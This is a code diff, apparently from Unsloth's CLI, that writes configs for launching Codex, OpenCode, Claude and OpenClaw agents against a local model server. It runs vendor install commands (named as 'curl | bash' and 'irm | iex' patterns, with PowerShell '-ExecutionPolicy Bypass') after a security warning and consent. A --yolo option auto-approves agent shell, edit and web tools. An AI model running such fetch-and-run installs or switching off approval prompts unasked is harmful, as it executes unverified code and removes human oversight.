+# Apache-2.0 prompt is copied from openai/codex rust-v0.144.0 models-manager/prompt.md.
+_CODEX_FALLBACK_PROMPT = Path(__file__).parent.parent / "codex_fallback_prompt.md"
+_CODEX_MODEL_CATALOG_MIN_VERSION = (0, 110, 0)
+
+
+def _codex_supports_model_catalog() -> bool:
+    executable = _which_with_install_dirs("codex")
+    if executable is None:
+        # A --no-launch recipe may be copied to another machine; assume a current Codex.
+        return True
+    try:
+        output = subprocess.check_output(
+            [executable, "--version"], text = True, timeout = 10, stderr = subprocess.DEVNULL
+        )
+    except Exception:
+        return False
+    match = re.search(r"(\d+)\.(\d+)\.(\d+)", output)
+    return bool(match) and tuple(int(part) for part in match.groups()) >= (
+        _CODEX_MODEL_CATALOG_MIN_VERSION
+    )
+
+
+def _codex_model_catalog(model: dict) -> dict:
+    """Return conservative metadata for an Unsloth model unknown to Codex's built-in catalog."""
+    model_id = model["id"]
+    window = model.get("context_length") or model.get("max_context_length")
+    entry = {
+        "slug": model_id,
+        "display_name": model_id,
+        "description": "Model served by Unsloth Studio",
+        "supported_reasoning_levels": [],
+        "shell_type": "default",
+        "visibility": "none",
+        "supported_in_api": True,
+        "priority": 99,
+        "availability_nux": None,
+        "upgrade": None,
+        "base_instructions": _CODEX_FALLBACK_PROMPT.read_text(encoding = "utf-8"),
+        "supports_reasoning_summaries": False,
+        "supports_reasoning_summary_parameter": False,
+        "support_verbosity": False,
+        "default_verbosity": None,
+        "apply_patch_tool_type": None,
+        "truncation_policy": {"mode": "bytes", "limit": 10_000},
+        "supports_parallel_tool_calls": False,
+        "experimental_supported_tools": [],
+    }
+    if window:
+        entry["context_window"] = int(window)
+        entry["max_context_window"] = int(window)
+    return {"models": [entry]}
+
+
 def write_codex_config(base: str, model: dict, home: Path) -> None:
     home.mkdir(parents = True, exist_ok = True)
 
@@ -743,6 +1572,16 @@ def write_codex_config(base: str, model: dict, home: Path) -> None:
         f'model_provider = "{_CODEX_PROFILE}"\n'
         f"model = {json.dumps(model['id'])}\n"
     )
+    if _codex_supports_model_catalog() and _CODEX_FALLBACK_PROMPT.is_file():
+        catalog = home / "model-catalog.json"
+        catalog_text = json.dumps(_codex_model_catalog(model), indent = 2) + "\n"
+        if not catalog.exists() or catalog.read_text(encoding = "utf-8") != catalog_text:
+            catalog.write_text(catalog_text, encoding = "utf-8")
+            typer.echo(f"Updated {catalog}")
+        # Resolve relative to the profile file. This also survives WSL launching a Windows
+        # Codex binary, where a Linux absolute path inside TOML would not be usable.
+        profile_text += f"model_catalog_json = {json.dumps(catalog.name)}\n"
+
     window = model.get("context_length") or model.get("max_context_length")
     if window:
         profile_text += f"model_context_window = {int(window)}\n"
@@ -752,6 +1591,206 @@ def write_codex_config(base: str, model: dict, home: Path) -> None:
         typer.echo(f"Updated {profile}")
 
 
+def write_codex_subagent_config(base: str, key: str, model: dict, home: Path) -> Path:
+    """Write a session-scoped Codex custom agent without replacing the main model."""
+    home.mkdir(parents = True, exist_ok = True)
+    model_id = model["id"]
+    window = model.get("context_length") or model.get("max_context_length")
+    catalog_name = "unsloth-model-catalog.json"
+    text = (
+        f"name = {json.dumps(_SUBAGENT_NAME)}\n"
+        f"description = {json.dumps(_SUBAGENT_DESCRIPTION)}\n"
+        f"developer_instructions = {json.dumps(_SUBAGENT_INSTRUCTIONS)}\n"
+        f"model_provider = {json.dumps(_CODEX_PROFILE)}\n"
+        f"model = {json.dumps(model_id)}\n"
+    )
+    if _codex_supports_model_catalog() and _CODEX_FALLBACK_PROMPT.is_file():
+        catalog = home / catalog_name
+        catalog_text = json.dumps(_codex_model_catalog(model), indent = 2) + "\n"
+        if not catalog.exists() or catalog.read_text(encoding = "utf-8") != catalog_text:
+            catalog.write_text(catalog_text, encoding = "utf-8")
+            typer.echo(f"Updated {catalog}")
+        text += f"model_catalog_json = {json.dumps(catalog_name)}\n"
+    if window:
+        text += f"model_context_window = {int(window)}\n"
+    credential = home / "unsloth-auth.json"
+    _write_private_json(credential, {"token": key})
+    auth_command = sys.executable
+    auth_args = [
+        "-c",
+        "import json,sys; print(json.load(open(sys.argv[1], encoding='utf-8'))['token'])",
+        str(credential),
+    ]
+    if _wsl_windows_executable(["codex"]):
+        auth_command = "wsl.exe"
+        auth_args = [
+            "-d",
+            os.environ["WSL_DISTRO_NAME"],
+            "--",
+            sys.executable,
+            *auth_args,
+        ]
+    text += (
+        f"\n{_PROVIDER_HEADER}\n"
+        'name = "Unsloth Studio"\n'
+        f"base_url = {json.dumps(base + '/v1')}\n"
+        'wire_api = "responses"\n'
+        f"\n{_PROVIDER_HEADER[:-1]}.auth]\n"
+        f"command = {json.dumps(auth_command)}\n"
+        f"args = {json.dumps(auth_args)}\n"
+        "timeout_ms = 5000\n"
+    )
+    path = home / f"{_SUBAGENT_NAME}.toml"
+    if not path.exists() or path.read_text(encoding = "utf-8") != text:
+        path.write_text(text, encoding = "utf-8")
+        typer.echo(f"Updated {path}")
+    return path
+
+
+def _agent_config_path(path: Path, command: list) -> str:
+    """Translate a generated config path when a Windows agent runs through WSL."""
+    return _wsl_windows_path(path) if _wsl_windows_executable(command) else str(path)
+
+
+def _opencode_subagent_inline_config(path: Path, permission: dict) -> dict:
+    """Keep the local provider visible without hiding the parent's allowed providers."""
+    inline: dict = {}
+    inherited = os.environ.get("OPENCODE_CONFIG_CONTENT")
+    if inherited:
+        try:
+            parsed = json.loads(inherited)
+        except ValueError:
+            _fail("OPENCODE_CONFIG_CONTENT is not valid JSON.")
+        if not isinstance(parsed, dict):
+            _fail("OPENCODE_CONFIG_CONTENT must contain a JSON object.")
+        inline.update(parsed)
+
+    def merge_provider_filters(effective_config: dict) -> None:
+        enabled = effective_config.get("enabled_providers")
+        if isinstance(enabled, list):
+            inline["enabled_providers"] = list(dict.fromkeys([*enabled, _OPENCODE_PROVIDER]))
+        disabled = effective_config.get("disabled_providers")
+        if isinstance(disabled, list) and _OPENCODE_PROVIDER in disabled:
+            inline["disabled_providers"] = [
+                provider for provider in disabled if provider != _OPENCODE_PROVIDER
+            ]
+
+    # The inherited inline layer is already highest priority. Merge it even when
+    # OpenCode is not installed yet, as in fresh-install and --no-launch flows.
+    merge_provider_filters(inline)
+    effective = inline
+
+    executable = _which_with_install_dirs("opencode")
+    if executable is None:
+        typer.echo(
+            f"Warning: OpenCode is not installed, so provider filters could not be checked. "
+            f"The target configuration must allow '{_OPENCODE_PROVIDER}'.",
+            err = True,
+        )
+    else:
+        env = os.environ.copy()
+        env["OPENCODE_CONFIG"] = _agent_config_path(path, ["opencode"])
+        try:
+            resolved = subprocess.run(
+                [executable, "debug", "config"],
+                capture_output = True,
+                text = True,
+                timeout = 15,
+                env = env,
+            )
+        except Exception as exc:
+            _fail(f"Could not inspect OpenCode provider filters: {exc}")
+        if resolved.returncode != 0:
+            detail = resolved.stderr.strip() or resolved.stdout.strip()
+            _fail(f"Could not inspect OpenCode provider filters: {detail or 'unknown error'}")
+        try:
+            effective = json.loads(resolved.stdout)
+        except ValueError:
+            _fail("Could not inspect OpenCode provider filters: invalid JSON response.")
+        if not isinstance(effective, dict):
+            _fail("Could not inspect OpenCode provider filters: expected a JSON object.")
+
+        merge_provider_filters(effective)
+
+    depth = effective.get("subagent_depth")
+    inline["subagent_depth"] = (
+        depth if isinstance(depth, int) and not isinstance(depth, bool) and depth > 0 else 1
+    )
+    if permission:
+        inline["permission"] = permission
+    return inline
+
+
+def write_claude_subagent_plugin(path: Path, server_env: dict) -> Path:
+    """Write a session plugin that exposes the local Claude child through MCP."""
+    plugin = path / "unsloth-local-agent"
+    command = sys.executable
+    args = ["-m", _CLAUDE_SUBAGENT_MCP_MODULE]
+    mcp_env = dict(server_env)
+    if _wsl_windows_executable(["claude"]):
+        command = "wsl.exe"
+        args = [
+            "-d",
+            os.environ["WSL_DISTRO_NAME"],
+            "--",
+            sys.executable,
+            "-m",
+            _CLAUDE_SUBAGENT_MCP_MODULE,
+        ]
+        mcp_env["WSLENV"] = _merge_wslenv(
+            os.environ.get("WSLENV", ""),
+            _wsl_bridge_names(server_env, ()),
+        )
+    _write_private_json(
+        plugin / ".claude-plugin" / "plugin.json",
+        {
+            "name": "unsloth-local-agent",
+            "version": "1.0.0",
+            "description": _SUBAGENT_DESCRIPTION,
+            "author": {"name": "Unsloth AI"},
+        },
+    )
+    _write_private_json(
+        plugin / ".mcp.json",
+        {
+            "mcpServers": {
+                "unsloth": {
+                    "type": "stdio",
+                    "command": command,
+                    "args": args,
+                    "env": mcp_env,
+                }
+            }
+        },
+    )
+    skill = plugin / "skills" / "local-agent" / "SKILL.md"
+    skill.parent.mkdir(parents = True, exist_ok = True, mode = 0o700)
+    skill.write_text(
+        "---\n"
+        "description: Delegate a task to the local agent powered by Unsloth. Use when the "
+        "user asks to spawn an Unsloth agent or local agent.\n"
+        "---\n\n"
+        "Call the Unsloth local agent tool once with the complete task. Return its result "
+        "to the user without claiming that the cloud parent completed the local work.\n",
+        encoding = "utf-8",
+    )
+    return plugin
+
+
+def _codex_subagent_flags(path: Path) -> list[str]:
+    config_path = _agent_config_path(path, ["codex"])
+    return [
+        "--enable",
+        "multi_agent",
+        "-c",
+        "agents.max_depth=1",
+        "-c",
+        f"agents.{_SUBAGENT_NAME}.description={json.dumps(_SUBAGENT_DESCRIPTION)}",
+        "-c",
+        f"agents.{_SUBAGENT_NAME}.config_file={json.dumps(config_path)}",
+    ]
+
+
 def _wsl_windows_executable(command: list) -> Optional[str]:
     if os.name == "nt" or not os.environ.get("WSL_DISTRO_NAME"):
         return None
@@ -761,6 +1800,16 @@ def _wsl_windows_executable(command: list) -> Optional[str]:
     return None
 
 
+def _wsl_windows_path(path: Path) -> str:
+    try:
+        translated = subprocess.check_output(["wslpath", "-w", str(path)], text = True).strip()
+    except (OSError, subprocess.CalledProcessError) as exc:
+        _fail(f"Could not translate WSL path {path}: {exc}")
+    if not translated:
+        _fail(f"Could not translate WSL path {path}")
+    return translated
+
+
 def _looks_like_path(value: str) -> bool:
     # A var only wants the WSLENV /p flag if its value is a filesystem path: an
     # absolute POSIX path (/...), a UNC path (\\...), or a drive-qualified Windows
@@ -842,6 +1891,117 @@ def _print_env(
     typer.echo(" ".join((*inline, shlex.join(command))))
 
 
+def _refresh_windows_path() -> None:
+    # Merge Windows registry PATH hives after the current process PATH so a
+    # freshly installed agent is visible without changing existing precedence.
+    if os.name != "nt":
+        return
+    try:
+        import winreg
+    except Exception:
+        return
+
+    entries = []
+    seen = set()
+
+    def add_path(value: str) -> bool:
+        added = False
+        for entry in str(value).split(os.pathsep):
+            entry = entry.strip()
+            if not entry:
+                continue
+            key = os.path.normcase(entry).casefold()
+            if key in seen:
+                continue
+            seen.add(key)
+            entries.append(entry)
+            added = True
+        return added
+
+    add_path(os.environ.get("PATH", ""))
+    added_registry = False
+    hives = (
+        (winreg.HKEY_CURRENT_USER, "Environment"),
+        (
+            winreg.HKEY_LOCAL_MACHINE,
+            r"SYSTEM\CurrentControlSet\Control\Session Manager\Environment",
+        ),
+    )
+    for root, sub in hives:
+        try:
+            with winreg.OpenKey(root, sub) as key:
+                value, _ = winreg.QueryValueEx(key, "Path")
+        except OSError:
+            continue
+        if value:
+            added_registry = add_path(os.path.expandvars(str(value))) or added_registry
+    if added_registry:
+        os.environ["PATH"] = os.pathsep.join(entries)
+
+
+def _augment_path_with_install_dirs() -> None:
+    # Append known install dirs to PATH so a freshly installed agent resolves without a new
+    # shell: some installers write the binary but not PATH (claude drops ~/.local/bin and
+    # only prints a note; npm -g shims land in %APPDATA%\npm). Appended, so precedence holds.
+    try:
+        home = Path.home()
+    except (RuntimeError, OSError):
+        return
+    candidates = [home / ".local" / "bin"]
+    if os.name == "nt":
+        appdata = os.environ.get("APPDATA")
+        if appdata:
+            candidates.append(Path(appdata) / "npm")
+    current = os.environ.get("PATH")
+    if current is None:
+        # PATH unset: shutil.which() and exec*p* fall back to os.defpath (e.g. /bin:/usr/bin), so
+        # keep that default instead of collapsing to just the install dirs (which would hide a
+        # system-installed agent and strip the launched child's normal PATH). An explicitly empty
+        # PATH is left as-is: like shutil.which, it means "search nothing", not os.defpath.
+        current = os.defpath
+    seen = {os.path.normcase(entry) for entry in current.split(os.pathsep) if entry}
+    additions = [
+        str(directory)
+        for directory in candidates
+        if directory.is_dir() and os.path.normcase(str(directory)) not in seen
+    ]
+    if additions:
+        os.environ["PATH"] = os.pathsep.join([current, *additions] if current else additions)
+
+
+def _which_with_install_dirs(name: str) -> Optional[str]:
+    # shutil.which(name), but searching the known agent install dirs too, so a version probe
+    # resolves the same binary _launch() will (it augments PATH before it runs). Without this an
+    # agent present only in ~/.local/bin / %APPDATA%\npm is missed, wrongly assumed current, and
+    # launched with flags an older build rejects. PATH is restored afterward: only _launch()
+    # should persist the augmentation for the child process.
+    original = os.environ.get("PATH")
+    _augment_path_with_install_dirs()
+    try:
+        return shutil.which(name)
+    finally:
+        if original is None:
+            os.environ.pop("PATH", None)
+        else:
+            os.environ["PATH"] = original
+
+
+def _install_source(install_hint: str) -> Optional[str]:
+    """The first http(s) URL an install hint fetches, or None (e.g. an npm install)."""
+    match = re.search(r"https?://[^\s'\")]+", install_hint)
+    return match.group(0) if match else None
+
+
+def _pinned_raw_github_commit(source: str) -> Optional[str]:
+    """Return the immutable full commit in a raw GitHub URL, if present."""
+    match = re.match(
+        r"^https://raw\.githubusercontent\.com/[^/]+/[^/]+/([0-9a-f]{40})/",
+        source,
+        flags = re.IGNORECASE,
+    )
+    return match.group(1).lower() if match else None
+
+
 def _install_agent(name: str, install_hint: str) -> Optional[str]:
     # Missing agent under --launch: offer to run its documented install command, then
     # re-resolve it on PATH. Consent-based (we never auto-run a remote install script
@@ -850,16 +2010,63 @@ def _install_agent(name: str, install_hint: str) -> Optional[str]:
     if not sys.stdin.isatty():
         return None
     typer.echo(f"`{name}` is not installed.")
-    if not typer.confirm(f"Install it now with `{install_hint}`?", default = False):
+    # Make the supply-chain risk explicit before the prompt: these are the vendors'
+    # own installers (curl | bash, irm | iex, npm), run with the user's privileges,
+    # and nothing checks a signature or hash on the fetched content. Naming the source
+    # turns a blind "yes" into informed consent.
+    source = _install_source(install_hint)
+    if source:
+        pinned_commit = _pinned_raw_github_commit(source)
+        if pinned_commit:
+            warning = (
+                "Security warning: This will download and execute a third-party script "
+                f"from {source} with your privileges. Unsloth pins this content to "
+                f"immutable upstream commit {pinned_commit}, but does not independently "
+                "verify or sandbox it. Continue only if you trust this source and commit."
+            )
+        else:
+            warning = (
+                "Security warning: This will download and execute an unverified third-party "
+                f"script from {source} with your privileges. Unsloth does not pin or verify "
+                "the downloaded content. Continue only if you trust this source."
+            )
+    else:
+        warning = (
+            f"This will RUN `{install_hint}` with your privileges; "
+            "there is no signature or hash check."
+        )
+    typer.secho(warning, fg = "yellow", err = True)
+    if not typer.confirm(f"Install `{name}` now with `{install_hint}`?", default = False):
         return None
-    # Run each hint through the shell it is written for: PowerShell (irm | iex, or npm)
-    # on Windows, /bin/sh (curl | bash, or npm) everywhere else.
+    # Run each hint through its shell: PowerShell on Windows, /bin/sh elsewhere.
+    # -ExecutionPolicy Bypass is process-scoped (nothing persistent) so npm's npm.ps1 and
+    # irm | iex run under the Windows default Restricted policy instead of failing with a
+    # PSSecurityException.
     if os.name == "nt":
-        install_command = ["powershell", "-NoProfile", "-Command", install_hint]
+        install_command = [
+            "powershell",
+            "-NoProfile",
+            "-ExecutionPolicy",
+            "Bypass",
+            "-Command",
+            install_hint,
+        ]
     else:
         install_command = ["/bin/sh", "-c", install_hint]
     if subprocess.run(install_command).returncode != 0:
-        _fail(f"Install command failed. Run it yourself, then re-run: {install_hint}")
+        message = f"Install command failed. Run it yourself, then re-run: {install_hint}"
+        if os.name == "nt":
+            # A hand-run retry can still hit the policy; point at the one-time per-user fix.
+            message += (
+                "\nIf it fails because running scripts is disabled (PSSecurityException), "
+                "allow local scripts for your user, then retry:\n"
+                "  Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned"
+            )
+        _fail(message)
+    # Resolve the freshly installed agent without a shell restart: pull registry PATH
+    # (Windows) plus well-known install dirs the installer may not have added to PATH.
+    _refresh_windows_path()
+    _augment_path_with_install_dirs()
     executable = shutil.which(name)
     if executable is None:
         _fail(
@@ -869,18 +2076,33 @@ def _install_agent(name: str, install_hint: str) -> Optional[str]:
     return executable
 
 
+def _wsl_shim_env(command: list, env: dict, unset_env: tuple) -> tuple[dict, tuple]:
+    wsl_env_bridge = _wsl_bridge_names(env, unset_env) if _wsl_windows_executable(command) else ()
+    if not wsl_env_bridge:
+        return env, wsl_env_bridge
+    # Bridge PWD via WSLENV (PWD/p) so the Windows shim finds its project root from the
+    # live cwd, not a stale inherited Linux PWD. Don't freeze env["PWD"]: a --no-launch
+    # recipe must translate the live PWD when run, not when generated; _launch overrides it.
+    return env, (*wsl_env_bridge, "PWD/p")
+
+
 def _launch(
     command: list,
     env: dict,
     install_hint: str,
     unset_env: tuple = (),
-) -> NoReturn:
+) -> int:
+    # Resolve well-known install dirs (e.g. ~/.local/bin) first, so an already-installed
+    # agent not yet on PATH is found instead of prompting a needless reinstall.
+    _augment_path_with_install_dirs()
     executable = shutil.which(command[0]) or _install_agent(command[0], install_hint)
     if executable is None:
         _fail(f"`{command[0]}` not found on PATH. Install it with: {install_hint}")
-    wsl_env_bridge = _wsl_bridge_names(env, unset_env) if _wsl_windows_executable(command) else ()
+    env, wsl_env_bridge = _wsl_shim_env(command, env, unset_env)
     child_env = dict(os.environ)
     if wsl_env_bridge:
+        # Override stale inherited PWD with the real cwd so the shim resolves the project root.
+        env = {**env, "PWD": os.getcwd()}
         child_env["WSLENV"] = _merge_wslenv(child_env.get("WSLENV", ""), wsl_env_bridge)
         for name in unset_env:
             child_env[name] = ""
@@ -895,7 +2117,7 @@ def _launch(
     finally:
         signal.signal(signal.SIGINT, previous)
     # Negative returncode means killed by signal N; shells expect 128+N.
-    raise typer.Exit(code = code if code >= 0 else 128 - code)
+    return code if code >= 0 else 128 - code
 
 
 def _connect(
@@ -905,18 +2127,21 @@ def _connect(
     *,
     serve: bool = False,
     launch: bool = True,
+    server_options: ServerOptions = ServerOptions(),
 ) -> tuple:
     # `--model org/name:QUANT` is shorthand for `--model org/name --gguf-variant QUANT`.
     # Split it before we match/serve so the attach path resolves against the already-loaded
     # `org/name` (listed without the suffix) instead of reloading a `:`-suffixed repo id --
-    # which Studio rejects and which would evict a model another session is using.
+    # which Unsloth rejects and which would evict a model another session is using.
     if model:
         repo, variant = _split_repo_variant(model)
         if variant:
             model = repo
             if not load.gguf_variant:
                 load = load._replace(gguf_variant = variant)
-    base, server = _require_studio(model, load, serve = serve, launch = launch)
+    base, server = _require_studio(
+        model, load, serve = serve, launch = launch, server_options = server_options
+    )
     try:
         key = _agent_api_key(base, api_key, auto_started = server is not None)
         # A server we just started has exactly the requested model loaded, so resolve to
@@ -947,16 +2172,35 @@ def _run(
     # --no-launch recipes stay intact.
     if launch and clear_screen:
         click.clear()
-    typer.echo(f"Studio {base} · model {entry['id']}")
-    wsl_env_bridge = _wsl_bridge_names(env, unset_env) if _wsl_windows_executable(command) else ()
+    typer.echo(f"Unsloth ready at {base} · model {entry['id']}")
     if not launch:
+        env, wsl_env_bridge = _wsl_shim_env(command, env, unset_env)
         _print_env(env, command, unset_env = unset_env, wsl_env_bridge = wsl_env_bridge)
+        if _keep_auto_served():
+            typer.echo(f"Unsloth Studio is still running at {base}.")
+            typer.echo("Stop it with: unsloth studio stop")
         return
     try:
-        _launch(command, env, install_hint = install_hint, unset_env = unset_env)
-    finally:
-        # Tear down a server we auto-started once the agent session ends (no-op otherwise).
+        code = _launch(command, env, install_hint = install_hint, unset_env = unset_env)
+    except BaseException:
+        # Startup succeeded but the agent failed to launch; tear the server down
+        # rather than orphan it.
         _shutdown_auto_served()
+        raise
+    auto_started = _auto_served_server is not None
+    kept = _keep_auto_served()
+    if auto_started and not kept:
+        typer.echo(f"The auto-started Unsloth server at {base} stopped during the session.")
+        raise typer.Exit(code = code)
+    if code:
+        # The server status below must not read as a successful agent session.
+        typer.echo(f"The agent exited with code {code}.")
+    if is_loopback_url(base):
+        typer.echo(f"Unsloth Studio is still running at {base}.")
+        typer.echo("Stop it with: unsloth studio stop")
+    else:
+        typer.echo(f"The remote Unsloth server is still running at {base}.")
+    raise typer.Exit(code = code)
 
 
 def _agents_config_root() -> Path:
@@ -966,15 +2210,20 @@ def _agents_config_root() -> Path:
 
 
 @contextlib.contextmanager
-def _session_config(agent: str, launch: bool):
+def _session_config(
+    agent: str,
+    launch: bool,
+    persist: bool = False,
+):
     """Yield a private directory for an agent's session config (never the user's own).
 
-    launch: an ephemeral temp dir removed after the agent process exits, so nothing
-    persists. no-launch: a stable Unsloth-owned dir (the printed recipe is run later
-    on this machine), reused across runs. Either way the user's real ~/.<agent>
-    config is left untouched.
+    launch (default): an ephemeral temp dir removed after the agent process exits, so
+    nothing persists. no-launch: a stable Unsloth-owned dir (the printed recipe is run
+    later on this machine), reused across runs. persist (from --persist): use that same
+    stable dir even for a launch, so the agent's session survives the exit and can be
+    resumed next time. Either way the user's real ~/.<agent> config is left untouched.
     """
-    if launch:
+    if launch and not persist:
         path = Path(tempfile.mkdtemp(prefix = f"unsloth-{agent}-"))
         try:
             yield path
@@ -983,7 +2232,9 @@ def _session_config(agent: str, launch: bool):
     else:
         # Never wipe this dir: a previously printed recipe may still be running
         # an agent whose sessions/state live here, and every config writer
-        # merges idempotently into an existing home anyway.
+        # merges idempotently into an existing home anyway. Writers must also
+        # reset any state a previous run's flags left behind (--yolo especially),
+        # since files here outlive the invocation that wrote them.
         path = _agents_config_root() / agent
         path.mkdir(parents = True, exist_ok = True, mode = 0o700)
         yield path
@@ -995,6 +2246,7 @@ def write_openclaw_config(
     model: dict,
     path: Path,
     yolo: bool = False,
+    workspace_path: Optional[str] = None,
 ) -> None:
     config = _read_json_object(path)
     if config is None:
@@ -1005,7 +2257,7 @@ def write_openclaw_config(
         )
         return
     before = json.dumps(config, sort_keys = True)
-    # Studio is a generic OpenAI-compatible /v1 endpoint (the vLLM/LM Studio path).
+    # Unsloth is a generic OpenAI-compatible /v1 endpoint (the vLLM/LM Studio path).
     provider_model = {"id": model["id"], "name": model["id"]}
     window = model.get("context_length") or model.get("max_context_length")
     if window:
@@ -1019,8 +2271,23 @@ def write_openclaw_config(
         "models": [provider_model],
     }
     # Pin a default model, else OpenClaw drops into its setup agent ("no models available").
-    defaults = _subdict(_subdict(config, "agents"), "defaults")
+    agents = _subdict(config, "agents")
+    defaults = _subdict(agents, "defaults")
     _subdict(defaults, "model")["primary"] = f"unsloth/{model['id']}"
+    # OPENCLAW_STATE_DIR does not relocate the workspace. Keep it beside the managed
+    # config so ephemeral launches avoid ~/.openclaw and persisted sessions retain it.
+    workspace = path.parent / "workspace"
+    workspace.mkdir(parents = True, exist_ok = True, mode = 0o700)
+    defaults["workspace"] = workspace_path or str(workspace)
+    # Per-agent paths override agents.defaults.workspace and OPENCLAW_STATE_DIR. This
+    # config is itself an isolated Unsloth copy, so remove stale explicit paths and let
+    # OpenClaw resolve every listed agent beneath the managed defaults/state directory.
+    agent_list = agents.get("list")
+    if isinstance(agent_list, list):
+        for agent_config in agent_list:
+            if isinstance(agent_config, dict):
+                agent_config.pop("workspace", None)
+                agent_config.pop("agentDir", None)
     # Unauthenticated loopback gateway: without auth.mode=none the client won't open
     # the websocket. The daemon must still be started separately (`openclaw gateway`).
     gateway = _subdict(config, "gateway")
@@ -1043,6 +2310,62 @@ def write_openclaw_config(
             {"version": 1, "defaults": {"security": "full", "ask": "off", "askFallback": "full"}},
         )
         typer.echo(f"Updated {approvals}")
+    else:
+        # The no-launch config dir is reused across runs, so a previous --yolo run may
+        # have left auto-approval state behind. OpenClaw treats an omitted exec policy as
+        # security=full, ask=off on the gateway host, so deleting the keys would keep
+        # auto-approval on: a non-yolo run must WRITE a prompting policy. Only a
+        # permissive/yolo policy is replaced; a stricter one set by hand survives.
+        tools = config.get("tools")
+        exec_policy = tools.get("exec") if isinstance(tools, dict) else None
+        exec_policy = exec_policy if isinstance(exec_policy, dict) else {}
+        # Match ONLY the exact fingerprint --yolo writes (host=gateway, security=full,
+        # ask=off, all explicit, no mode); anything else is left untouched. host=auto or an
+        # omitted host resolves to security=deny under an active sandbox, so treating those
+        # as the permissive gateway default would broaden a fresh sandboxed config from
+        # deny to allowlist. host=node and host=sandbox are user-set (--yolo only writes
+        # gateway). tools.exec.mode is OpenClaw's normalized knob (it cannot be combined
+        # with security/ask, and OpenClaw never rewrites our security/ask write into it),
+        # so a mode is always a deliberate user policy; never clobber it.
+        permissive = (
+            "mode" not in exec_policy
+            and exec_policy.get("host") == "gateway"
+            and exec_policy.get("security") == "full"
+            and exec_policy.get("ask") == "off"
+        )
+        if permissive:
+            exec_policy = _subdict(_subdict(config, "tools"), "exec")
+            exec_policy.pop("host", None)  # routing only; defaults to the gateway host
+            exec_policy["security"] = "allowlist"  # only allowlisted commands skip approval
+            exec_policy["ask"] = "on-miss"  # prompt on every non-allowlisted command
+        # Drop the yolo defaults from the host approvals file (a stricter default set by
+        # the user or OpenClaw is kept). With a prompting tools.exec the stricter of the
+        # two layers wins, so an omitted approvals default still prompts.
+        approvals = path.parent / "exec-approvals.json"
+        if approvals.exists():
+            state = _read_json_object(approvals)
+            if state is not None:
+                defaults = state.get("defaults")
+                # Strip the defaults only when they are exactly the yolo fingerprint; a
+                # user-managed mixed policy that merely shares a field (e.g. askFallback=full,
+                # whose omitted default is deny) must be kept intact.
+                yolo_defaults = (("security", "full"), ("ask", "off"), ("askFallback", "full"))
+                is_yolo = isinstance(defaults, dict) and all(
+                    defaults.get(k) == v for k, v in yolo_defaults
+                )
+                if is_yolo:
+                    for k, _ in yolo_defaults:
+                        del defaults[k]
+                    if not defaults:
+                        del state["defaults"]
+                    if set(state) <= {"version"}:
+                        # Nothing left but our own yolo payload: remove it.
+                        approvals.unlink()
+                        typer.echo(f"Removed {approvals}")
+                    else:
+                        # Keep approvals OpenClaw itself recorded; only the yolo defaults go.
+                        _write_private_json(approvals, state)
+                        typer.echo(f"Updated {approvals}")
     if json.dumps(config, sort_keys = True) != before:
         _write_private_json(path, config)
         typer.echo(f"Updated {path}")
@@ -1054,17 +2377,20 @@ def write_opencode_config(
     model: dict,
     path: Path,
     yolo: bool = False,
-) -> None:
+    as_subagent: bool = False,
+) -> dict:
     config = _read_json_object(path)
     if config is None:
         typer.echo(
-            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
-            "yourself, or move the file aside and re-run.",
+            f"Warning: couldn't parse {path} — add an '{_OPENCODE_PROVIDER}' provider "
+            "there yourself, or move the file aside and re-run.",
             err = True,
         )
-        return
+        return {}
     before = json.dumps(config, sort_keys = True)
     config.setdefault("$schema", "https://opencode.ai/config.json")
+    # Keep the provider definition in this private session file. The launch path
+    # adjusts effective provider filters in the higher-priority inline overlay.
     model_entry = {"name": model["id"]}
     window = model.get("context_length") or model.get("max_context_length")
     if window:
@@ -1073,27 +2399,71 @@ def write_opencode_config(
         # disables OpenCode's auto-compaction; declare the real window (and a sane
         # output cap) so it compacts instead of overflowing the server.
         model_entry["limit"] = {"context": window, "output": min(window // 4, 8192)}
-    _subdict(config, "provider")["unsloth"] = {
+    _subdict(config, "provider")[_OPENCODE_PROVIDER] = {
         "npm": "@ai-sdk/openai-compatible",
         "name": "Unsloth Studio",
         "options": {"baseURL": f"{base}/v1", "apiKey": key},
         "models": {model["id"]: model_entry},
     }
-    # OpenCode selects a model by "<providerID>/<modelID>".
-    config["model"] = f"unsloth/{model['id']}"
-    if window:
+    # Normal mode pins this as the session model. Subagent mode leaves the user's
+    # main/small models alone and exposes the local model to @unsloth and /models.
+    opencode_model = f"{_OPENCODE_PROVIDER}/{model['id']}"
+    if as_subagent:
+        for field in ("model", "small_model"):
+            if str(config.get(field) or "").startswith(f"{_OPENCODE_PROVIDER}/"):
+                config.pop(field, None)
+        managed_compaction = {"auto": True, "reserved": max(1, window // 10)} if window else None
+        if managed_compaction and config.get("compaction") == managed_compaction:
+            config.pop("compaction", None)
+        _subdict(config, "agent")[_SUBAGENT_NAME] = {
+            "description": _SUBAGENT_DESCRIPTION,
+            "mode": "subagent",
+            "model": opencode_model,
+            "prompt": _SUBAGENT_INSTRUCTIONS,
+        }
+    else:
+        config["model"] = opencode_model
+        agents = config.get("agent")
+        if isinstance(agents, dict):
+            agents.pop(_SUBAGENT_NAME, None)
+            if not agents:
+                config.pop("agent", None)
+    if window and not as_subagent:
         # Compact with ~10% headroom (near 90% full). The fixed 20k-token default
         # buffer over-compacts, or never settles, on a small local context.
         compaction = _subdict(config, "compaction")
         compaction["auto"] = True
         compaction["reserved"] = max(1, window // 10)
+    tools = ("edit", "bash", "webfetch", *(("task",) if as_subagent else ()))
     if yolo:
-        # OpenCode has no --yolo flag; auto-approve is the config `permission` block
-        # (singular). Allow the prompting tools so tool calls don't block on the TUI.
-        config["permission"] = {"edit": "allow", "bash": "allow", "webfetch": "allow"}
+        # Fallback for commands without native --auto and for the append-safe bare
+        # --no-launch command (subcommand unknown yet). Rides inline (OPENCODE_CONFIG_CONTENT)
+        # so it wins over a project config. TUI and `run` launches use --auto and call here
+        # with yolo=False, letting OpenCode preserve explicit deny rules.
+        session_permission = {t: "allow" for t in tools}
+        session_permission["external_directory"] = {"*": "allow"}
+        config["permission"] = dict(session_permission)
+    else:
+        # Undo only what --yolo wrote: our yolo sets an explicit per-tool "allow" for these
+        # three tools, so flip exactly those explicit allows back to "ask". A "deny"/"ask",
+        # a granular object, a string, or a "*" catch-all is the user's own rule and is left
+        # untouched. We do NOT carry a permission inline for a non-yolo session: since
